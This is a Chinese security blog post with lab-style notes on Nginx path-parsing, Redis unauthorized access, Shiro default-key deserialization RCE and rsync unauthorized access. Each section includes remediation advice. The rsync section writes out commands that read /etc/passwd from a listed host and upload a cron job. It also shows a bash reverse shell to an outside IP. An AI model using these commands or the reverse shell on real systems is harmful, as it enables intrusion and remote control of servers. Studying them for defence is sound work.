2022-10-06(nginx解析漏洞、Redis 4.x/5.x 未授权访问漏洞、Shiro 默认密钥、rsync未授权访问)

1.nginx解析漏洞

原理:

由于Nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://liuwx.cn/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),(其中test.png是我们上传的包含PHP代码的照片文件),test.png/.php可能会被当作php代码执行

对低版本的Nginx(Nginx0.5,0.6以及0.7 ⇐ 0.7.65,0.8 ⇐ 0.8.37)可以在任意文件名后面添加%00.php进行解析攻击
例:
http://www.xxx.com/xx.jpg%00.php中会将xx.jpg当作php文件解析

攻击的前提是
cgi.fix_pathinfo=1,该值是默认为1,表示开启,位置/etc/php5/fpm/php.ini
对文件路径进行修理,当php文件不存在时,会找上一级,进行解析,如果还是找不到,继续找,http://liuwx.cn/test.png/.php,这个就是找png进行解析

http://www.xxx.com/1.jpg/a.php

在这里插入图片描述
修复后的页面是
在这里插入图片描述

修复:

  • 将php.ini文件中的cgi.fix_pathinfo的值设为0。这样php在解析1.jpg/1.php这样的目录时,只要1.php不存在就会显示404。

  • 将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions后面的值设为.php。只解析后缀是php

Redis 4.x/5.x 未授权访问漏洞

漏洞产生原因

Redis默认使用6379端口,并且Redis默认是空密码并且默认允许远程连接。一些管理员在安装好Redis之后,并没有修改它的默认端口。而且也没有设置密码的话,黑客就可以通过Redis数据库写入任意文件进行提权,从而操控该服务器。

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令

利用漏洞的三种方法

  1. 写shell
  2. 写计划任务反弹shell
  3. 导入ssh密钥

详细利用

加固

  • 更新服务至最新版本,完成漏洞的修复
  • 添加防火墙规则避免非信任ip访问
  • 设置密码,不要太简单了
  • 更改端口

Shiro 默认密钥

Apache Shiro默认使用了CookieRememberMeManager,用户登录成功后会生成经过加密并编码的cookie,cookie解码的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码(硬编码数据通常只能通过编辑源代码和重新编译可执行文件来修改)的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

低版本rememberMe=deleteMe
在这里插入图片描述

1.8.0版本,尝试访问系统进行登录,抓包获取参数特征,包含xxx_rememberMe=deleteMe字段
在这里插入图片描述
注意
Shiro1.4.2版本后Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。

修复

  • 升级shiro至最新版本
  • 一定要注意生成新的密钥替换

rsync未授权访问

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件

判断:rsync rsync://123.58.224.8:40894/
利用:
-读取文件:rsync rsync://123.58.224.8:40894/src/
-下载文件:rsync rsync://123.58.224.8:12018/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://123.58.224.8:40894/src/tmp/passwd
查看/tmp目录里的文件,后面有`/`
rsync rsync://123.58.224.8:40894/src/tmp/

出现下面这样的就是有漏洞
在这里插入图片描述
还可以将定时任务传到/src/etc/cron.hourly
例如:
将下面的反弹写入定时任务里

#!/bin/bash 
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell		

修复

  • 正确配置认证用户名或者密码
  • 使用足够但最小权限
  • host allow/deny 来控制接入源IP
  • 可以配置只读
  • 非必要应该仅限制配置路径下可访问

参考文章

Nginx文件解析漏洞
Nginx-解析漏洞
Shiro高版本默认密钥的漏洞利用
vulhub之rsync未授权访问漏洞复现&利用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值